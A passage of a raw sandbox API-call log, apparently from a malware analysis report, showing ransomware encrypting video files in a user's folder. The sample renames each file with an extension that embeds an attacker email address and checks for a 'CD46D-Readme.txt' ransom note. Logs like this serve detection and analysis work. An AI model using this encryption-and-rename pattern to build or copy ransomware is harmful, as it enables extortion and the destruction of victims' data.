NtSetInformationFile (FileHandle=0xb24, IoStatusBlock=0xf1efbf8, FileInformation=0xf1efbd0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.016] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44ea30) returned 1 [0054.017] FlushFileBuffers (hFile=0xb24) returned 1 [0054.078] CloseHandle (hObject=0xb24) returned 1 [0054.079] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x418a28 [0054.079] wcscpy (in: _Dest=0x418a28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.079] wcscat (in: _Dest=0x418a28, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.079] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.079] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418a28) returned 1 [0054.079] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ec38) returned 1 Thread: id = 616 os_tid = 0x7d8 [0050.190] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jpd-rpdgebd16vzccgdw.mkv")) returned 0x20 [0050.190] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv", dwFileAttributes=0x20) returned 1 [0050.191] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jpd-rpdgebd16vzccgdw.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb28 [0050.191] GetFileSizeEx (in: hFile=0xb28, lpFileSize=0xf28fad4 | out: lpFileSize=0xf28fad4*=67225) returned 1 [0050.191] SetFilePointerEx (in: hFile=0xb28, liDistanceToMove=0x10695, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.191] ReadFile (in: hFile=0xb28, lpBuffer=0xf28fa58, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf28fa54, lpOverlapped=0x0 | out: lpBuffer=0xf28fa58*, lpNumberOfBytesRead=0xf28fa54*=0x4, lpOverlapped=0x0) returned 1 [0050.191] SetFilePointerEx (in: hFile=0xb28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0128 [0050.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d01c8 [0050.192] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0240 [0050.192] NtQuerySystemTime (in: CurrentTime=0xf28fa34 | out: CurrentTime=0xf28fa34*=132174898141776000) returned 0x0 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x20582d45 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x6539b051 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x1a8e2c9b [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x7dead7cf [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x8a5e6ae [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x5cc3979 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x54c98f0a [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x7c908a91 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x39e336c3 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x622422f8 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x4ae1444b [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x4c5ea5ca [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x23c7a0f2 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x2d9c5b05 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x280c2831 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x1d9076c6 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x3dd64180 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x22571f96 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x71f7f849 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x3d775043 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x62be1ad2 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x3c95d0dc [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x5848d186 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x86b7e88 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x7007d72d [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0xc43087b [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x39ccd0e5 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0xfbec852 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x7c8da880 [0050.192] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x312ea8f7 [0050.193] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0xfc8b6e2 [0050.193] RtlRandomEx (in: Seed=0xf28fa40 | out: Seed=0xf28fa40) returned 0x7643fe2a [0050.204] SetFilePointerEx (in: hFile=0xb28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.204] ReadFile (in: hFile=0xb28, lpBuffer=0x9602868, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xf28fa14, lpOverlapped=0x0 | out: lpBuffer=0x9602868*, lpNumberOfBytesRead=0xf28fa14*=0xc800, lpOverlapped=0x0) returned 1 [0050.204] SetFilePointerEx (in: hFile=0xb28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.204] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402840 [0050.204] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a858 [0050.204] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0128 [0050.204] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0128) returned 1 [0050.205] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x960f070 [0050.208] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0128 [0050.208] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0240 [0050.208] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0240) returned 1 [0050.208] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a858) returned 1 [0050.208] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0050.208] WriteFile (in: hFile=0xb28, lpBuffer=0x960f070*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xf28fa14, lpOverlapped=0x0 | out: lpBuffer=0x960f070*, lpNumberOfBytesWritten=0xf28fa14*=0xc800, lpOverlapped=0x0) returned 1 [0053.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x960f070) returned 1 [0053.284] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9602868) returned 1 [0053.284] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x402cc0 [0053.284] SetFilePointerEx (in: hFile=0xb28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.284] WriteFile (in: hFile=0xb28, lpBuffer=0x5ed6b00*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0xf28fa94, lpOverlapped=0x0 | out: lpBuffer=0x5ed6b00*, lpNumberOfBytesWritten=0xf28fa94*=0x121, lpOverlapped=0x0) returned 1 [0053.551] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed6b00) returned 1 [0053.551] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c4c8) returned 1 [0053.551] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce990) returned 1 [0053.551] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402cc0) returned 1 [0053.551] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0128) returned 1 [0053.551] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d01c8) returned 1 [0053.551] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0268) returned 1 [0053.552] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0290) returned 1 [0053.552] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00060 [0053.552] wcscpy (in: _Dest=0x5e00060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv" [0053.552] wcscat (in: _Dest=0x5e00060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv.mailto[2Hamlampampom@cock.li].cd46d" [0053.552] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf28fa4c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JpD-RPdGEbD16vZcCgdW.mkv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.552] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x5ed68b8 [0054.015] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed68b8) returned 1 [0054.015] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b0358) returned 1 [0054.015] NtQueryInformationFile (in: FileHandle=0xb28, IoStatusBlock=0xf28fa58, FileInformation=0xf28fa30, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf28fa58, FileInformation=0xf28fa30) returned 0x0 [0054.015] NtSetInformationFile (FileHandle=0xb28, IoStatusBlock=0xf28fa58, FileInformation=0xf28fa30, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.019] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00060) returned 1 [0054.019] FlushFileBuffers (hFile=0xb28) returned 1 [0054.080] CloseHandle (hObject=0xb28) returned 1 [0054.081] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x418a28 [0054.081] wcscpy (in: _Dest=0x418a28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.081] wcscat (in: _Dest=0x418a28, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.081] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.081] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418a28) returned 1 [0054.082] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447870) returned 1 Thread: id = 617 os_tid = 0x5b8 [0050.209] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lznywaditioir.avi")) returned 0x20 [0050.209] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi", dwFileAttributes=0x20) returned 1 [0050.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lznywaditioir.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb2c [0050.209] GetFileSizeEx (in: hFile=0xb2c, lpFileSize=0xd25fa74 | out: lpFileSize=0xd25fa74*=86038) returned 1 [0050.209] SetFilePointerEx (in: hFile=0xb2c, liDistanceToMove=0x15012, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.209] ReadFile (in: hFile=0xb2c, lpBuffer=0xd25f9f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd25f9f4, lpOverlapped=0x0 | out: lpBuffer=0xd25f9f8*, lpNumberOfBytesRead=0xd25f9f4*=0x4, lpOverlapped=0x0) returned 1 [0050.210] SetFilePointerEx (in: hFile=0xb2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.210] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0240 [0050.210] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d02b8 [0050.210] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d02e0 [0050.210] NtQuerySystemTime (in: CurrentTime=0xd25f9d4 | out: CurrentTime=0xd25f9d4*=132174898141932000) returned 0x0 [0050.210] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x4dbc292e [0050.210] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x75c6f0bf [0050.210] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x7aaa2b06 [0050.210] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x358624cc [0050.210] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x4cf2ac11 [0050.210] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x922c7e6 [0050.210] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x2c76b48a [0050.210] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x15dfc733 [0050.210] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x4caa6099 [0050.210] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x57383e86 [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x6321ca42 [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x8c51a7d [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x745db61e [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x249a8d4 [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x7a077a2b [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x26ef64bb [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x3915fd8b [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x4309762f [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x4489669d [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x87b0dee [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x4101fe4d [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x3755ea4c [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x6b7968ac [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x57d06b26 [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x79268c47 [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x72298609 [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x6ddc1e50 [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x4391535a [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x294069fa [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0xdcf899a [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x432aea98 [0050.211] RtlRandomEx (in: Seed=0xd25f9e0 | out: Seed=0xd25f9e0) returned 0x4e4dea55 [0050.223] SetFilePointerEx (in: hFile=0xb2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.223] ReadFile (in: hFile=0xb2c, lpBuffer=0x961b878, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd25f9b4, lpOverlapped=0x0 | out: lpBuffer=0x961b878*, lpNumberOfBytesRead=0xd25f9b4*=0xc800, lpOverlapped=0x0) returned 1 [0050.223] SetFilePointerEx (in: hFile=0xb2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.223] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402840 [0050.223] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a858 [0050.223] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0240 [0050.223] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0240) returned 1 [0050.224] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9628080 [0050.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0240 [0050.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d02e0 [0050.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d02e0) returned 1 [0050.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a858) returned 1 [0050.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0050.227] WriteFile (in: hFile=0xb2c, lpBuffer=0x9628080*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd25f9b4, lpOverlapped=0x0 | out: lpBuffer=0x9628080*, lpNumberOfBytesWritten=0xd25f9b4*=0xc800, lpOverlapped=0x0) returned 1 [0053.286] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9628080) returned 1 [0053.286] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x961b878) returned 1 [0053.304] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2f) returned 0x40a9f8 [0053.304] SetFilePointerEx (in: hFile=0xb2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.304] WriteFile (in: hFile=0xb2c, lpBuffer=0x5ed6c30*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xd25fa34, lpOverlapped=0x0 | out: lpBuffer=0x5ed6c30*, lpNumberOfBytesWritten=0xd25fa34*=0x113, lpOverlapped=0x0) returned 1 [0053.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed6c30) returned 1 [0053.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aaa0) returned 1 [0053.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce9b8) returned 1 [0053.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a9f8) returned 1 [0053.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0240) returned 1 [0053.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d02b8) returned 1 [0053.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0308) returned 1 [0053.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0330) returned 1 [0053.553] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e024e0 [0053.553] wcscpy (in: _Dest=0x5e024e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi" [0053.553] wcscat (in: _Dest=0x5e024e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi.mailto[2Hamlampampom@cock.li].cd46d" [0053.553] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xd25f9ec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LzNYWADitioiR.avi.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.553] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40d388 [0054.017] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d388) returned 1 [0054.017] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b07a8) returned 1 [0054.017] NtQueryInformationFile (in: FileHandle=0xb2c, IoStatusBlock=0xd25f9f8, FileInformation=0xd25f9d0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xd25f9f8, FileInformation=0xd25f9d0) returned 0x0 [0054.017] NtSetInformationFile (FileHandle=0xb2c, IoStatusBlock=0xd25f9f8, FileInformation=0xd25f9d0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.021] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e024e0) returned 1 [0054.021] FlushFileBuffers (hFile=0xb2c) returned 1 [0054.082] CloseHandle (hObject=0xb2c) returned 1 [0054.083] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x418a28 [0054.083] wcscpy (in: _Dest=0x418a28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.083] wcscat (in: _Dest=0x418a28, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.083] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.083] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418a28) returned 1 [0054.084] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b168) returned 1 Thread: id = 618 os_tid = 0x7d4 [0050.231] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\mkyue6adrx jek.flv")) returned 0x20 [0050.231] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv", dwFileAttributes=0x20) returned 1 [0050.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\mkyue6adrx jek.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb30 [0050.232] GetFileSizeEx (in: hFile=0xb30, lpFileSize=0xf3bfcbc | out: lpFileSize=0xf3bfcbc*=13494) returned 1 [0050.232] SetFilePointerEx (in: hFile=0xb30, liDistanceToMove=0x34b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.232] ReadFile (in: hFile=0xb30, lpBuffer=0xf3bfc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf3bfc3c, lpOverlapped=0x0 | out: lpBuffer=0xf3bfc40*, lpNumberOfBytesRead=0xf3bfc3c*=0x4, lpOverlapped=0x0) returned 1 [0050.232] SetFilePointerEx (in: hFile=0xb30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d02e0 [0050.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0358 [0050.232] RtlAllocateHeap 